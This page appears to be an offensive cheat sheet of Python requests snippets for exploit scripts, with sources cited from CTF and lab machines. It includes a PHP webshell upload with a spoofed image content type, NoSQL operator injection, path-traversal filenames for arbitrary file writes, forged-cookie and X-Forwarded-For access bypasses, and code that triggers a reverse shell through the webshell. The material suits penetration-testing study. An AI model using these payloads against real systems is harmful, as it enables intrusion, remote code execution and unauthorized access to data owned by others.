Skip to content
HTTP

HTTP

Sending requests the way a target expects them: query params, form and JSON bodies, multipart uploads, cookies, bearer tokens, and CSRF flows.

GET with query params

The params dictionary represents query-string names and values. requests percent-encodes the required characters and appends the resulting query string to the URL. The injectable value is built before being assigned to the dictionary.

params = {
    "id": 4,
    "q": payload
}
r = s.get(url=URL, params=params, verify=False, proxies=PROXIES, timeout=10)

Find by: get, query string, params, url parameters, requests, fetch

POST form-encoded (data=)

Passing a dictionary through data= serializes its keys and values as an application/x-www-form-urlencoded request body, matching a regular HTML form submission.

login_data = {
    "username": payload,
    "password": "test"
}
r = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=PROXIES, timeout=10)

Find by: post, form, urlencoded, data, login, body, application/x-www-form-urlencoded

POST with Transfer-Encoding: chunked

An iterator has no known total length, so requests omits Content-Length, adds Transfer-Encoding: chunked, and writes the HTTP chunk framing. The body remains raw bytes; Content-Type must be set explicitly when the endpoint expects form data or another specific format.

body = b"username=admin&password=test"
chunked_body = iter([body])
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}
r = s.post(url=URL, data=chunked_body, headers=headers, verify=False, timeout=10)

The iterator yields one data chunk. requests sends the terminating zero-length chunk after the iterator is exhausted.

Iterator placement

data= must receive an iterator over the complete encoded body instead of the usual dictionary of form fields. The form body is built first, converted to bytes, then wrapped in iter([body]). Passing an iterator as a dictionary value still produces a complete body with Content-Length.

Proxy normalization

An interception proxy can decode the incoming chunks and forward a reconstructed request containing Content-Length, which removes the framing difference being tested. This behavior belongs to the proxy and its configuration rather than to HTTP itself. The forwarded request must be inspected; when the proxy normalizes it, the scripted chunked request is sent directly.

Find by: post, requests, transfer-encoding, chunked, chunked request, content-length, iterator, iterator placement, raw body, http request framing, burp, proxy normalization

POST JSON body (json=)

Passing a Python dictionary through json= serializes it as JSON and sets Content-Type: application/json. Nested dictionaries remain JSON objects, which is required when an injected operator must reach the application as an object rather than as text.

json_data = {
    "username": "admin",
    "password": {"$ne": None}
}
r = s.post(url=LOGIN_URL, json=json_data, verify=False, proxies=PROXIES, timeout=10)

Find by: post, json, application/json, api, body, nosql, operator injection, rest

Multipart file upload (webshell)

files tuple = (filename, content, content_type); a spoofed content_type bypasses naive checks.

files = {
    "file": ("shell.php", "<?php system($_REQUEST['cmd']); ?>", "image/jpeg")
}
r = s.post(url=UPLOAD_URL, files=files, verify=False, proxies=PROXIES, timeout=10)
# webshell then at: {URL}/uploads/shell.php?cmd=id

Find by: upload, multipart, file, files, webshell, form-data, content-type, rce, image · Source: PG/Zipper, PG/MZEEAV

Multipart upload + extra form fields

data= is passed alongside files= when the form needs other inputs (username, csrf, submit).

data = {
    "txtusername": "abcd",
    "txtfullname": "abcd",
    "btncreate": ""
}
file = {
    "avatar": ("shell.php", b"<?php system($_REQUEST['cmd']); ?>", "image/jpg")
}
r = s.post(url=UPLOAD_URL, data=data, files=file, verify=False, proxies=PROXIES, timeout=10)

Find by: upload, multipart, file plus data, form fields, files and data, mixed · Source: HTB/Unbalanced (Prison MS)

Path-traversal filename in upload

A filename becomes an arbitrary-file-write primitive when application code joins that attacker-controlled name to an upload directory without verifying the resolved destination. ../ components then move the destination outside the intended directory. Multipart parsing alone does not perform this write; the vulnerable behavior belongs to the application’s file-storage path.

traversal_file = f"../../../../../../..{absolute_path}"
files = {
    "file": (traversal_file, "test", "image/jpeg")
}
r = s.post(url=UPLOAD_URL, files=files, verify=False, proxies=PROXIES, timeout=10)

Find by: path traversal, lfi, upload, filename, dot dot slash, arbitrary write, directory traversal, overwrite · Source: PG/WallpaperHub

Grab CSRF token then submit

The form is fetched, the hidden token is read from its input element, then submitted through the same session.

An anti-CSRF token is an unpredictable value that the server expects alongside a state-changing request. Its exact lifecycle is application-specific: it may be tied to a session, tied to one form, reusable for several requests, or single-use. Fetching the form and submitting through the same requests.Session preserves any cookie associated with the issued token. A token that rotates after each request must be fetched again before the next submission.

def get_csrf(s):
    r = s.get(url=LOGIN_URL, verify=False, timeout=10)
    soup = BeautifulSoup(r.text, "html.parser")
    token = soup.find("input", {"id": "csrf"})["value"]
    return token

def login(s):
    data = {
        "csrf": get_csrf(s),
        "username": USERNAME,
        "password": PASSWORD
    }
    r = s.post(url=LOGIN_URL, data=data, verify=False, timeout=10)
    if "Wrong" in r.text:
        print("[-] Login failed.")
        sys.exit(1)
    print("[+] Logged in.")

Hidden field scraped by the script

<form action="/login" method="post">
  <input type="hidden" id="csrf" name="csrf" value="b3f1c8e2">
  <input name="username">
  <input name="password" type="password">
</form>

Find by: csrf, token, anti-csrf, hidden input, login, bs4, beautifulsoup, fetch then post, two step · Source: PG/Monster

Login → extract session cookie (no redirect)

allow_redirects=False leaves the original 302 response visible instead of automatically requesting its Location. When that status is the application’s confirmed success behavior, the session cookie can then be read from the session’s cookie jar.

r = s.post(url=LOGIN_URL, data=DATA, verify=False, allow_redirects=False, timeout=10)
if r.status_code != 302:
    print("[-] Injection did not work")
    sys.exit(1)
session_cookie = s.cookies.get("session")
print(f"[+] Authenticated — cookie: {session_cookie}")

Find by: cookie, session, allow_redirects, 302, set-cookie, authentication, sqli auth bypass, phpsessid · Source: WSA SQLi auth bypass

Clear and replace session cookies

Clears cookies collected by earlier requests before a forged or attacker-controlled cookie is supplied to the next stage. s.cookies.set() stores the replacement in the session cookie jar, so every later request made through the session receives it.

s.cookies.clear()
s.cookies.set("<COOKIE_NAME>", forged_cookie)

r = s.get(url=URL, verify=False, timeout=10, proxies=PROXIES)

A cookie required for only one request can instead be passed directly to that request:

s.cookies.clear()

cookies = {
    "<COOKIE_NAME>": forged_cookie
}
r = s.get(url=URL, cookies=cookies, verify=False, timeout=10, proxies=PROXIES)

Both forms send the replacement cookie without retaining cookies from the previous session state.

Cookie: <COOKIE_NAME>=<FORGED_COOKIE>

Find by: requests session, clear cookies, set cookie, cookies set, cookie jar, forged cookie, replace cookie, session-wide cookie, session state, phpsessid, authentication state · Source: HTB/TheMagicInformer

Set session-wide Authorization (Bearer JWT)

s.headers is the default header dictionary used by the requests.Session. update() stores the Bearer token there so every later request through that session includes the same Authorization header.

def auth(s):
    r = s.post(url=AUTH_URL, json={"email": ADMIN_EMAIL}, verify=False, proxies=PROXIES, timeout=10)
    json_response = r.json()
    token = json_response.get("token")
    if not token:
        print("[-] Failed to get JWT.")
        sys.exit(1)
    return token

token = auth(s)
s.headers.update({"Authorization": f"Bearer {token}"})

Find by: jwt, bearer, authorization header, token, headers update, api auth, session header · Source: CWEE/JS Injection

Custom request headers / X-Forwarded-For source-IP spoof

A custom header dictionary can be passed through headers= for one request or stored through s.headers.update() for the complete session.

X-Forwarded-For normally records the original client address when a trusted reverse proxy forwards a request. The TCP source address does not change when a client sets this header. A bypass exists only when the reverse proxy accepts an attacker-supplied value or when application code trusts the header directly for an authorization decision. Alternative names such as X-Real-IP, X-Originating-IP, Client-IP, and X-Remote-Addr matter only when the deployed proxy or application explicitly reads them.

HEADERS = {
    "X-Forwarded-For": "127.0.0.1",
}
r = s.get(url=URL, headers=HEADERS, verify=False, proxies=PROXIES, timeout=10)

# apply to every request on the Session instead of per call:
# s.headers.update(HEADERS)

Find by: custom headers, headers dict, x-forwarded-for, xff, source ip spoof, ip bypass, localhost only, internal only, x-real-ip, client-ip, x-originating-ip, access control bypass, trusted header · Source: PG/many

Timeout-as-success (blocking-payload trigger)

When a command handler waits for a long-running reverse shell, the triggering HTTP request may exceed the client timeout. Catching requests.Timeout prevents the exploit script from failing before it can continue to its listener.

try:
    r = s.get(url=web_shell_url, params={"cmd": reverse_shell}, verify=False, timeout=5, proxies=PROXIES)
except requests.Timeout:
    print("Reverse shell trigger is still running; waiting for the listener.")
except Exception as e:
    print(f"[-] Could not trigger: {e}")

A timeout is not proof of command execution. Slow application processing, network loss, or a stalled proxy can produce the same exception. The reverse-shell connection is the success signal.

Find by: timeout, reverse shell, trigger, blocking, requests.Timeout, long running request, rce, hang · Source: PG/many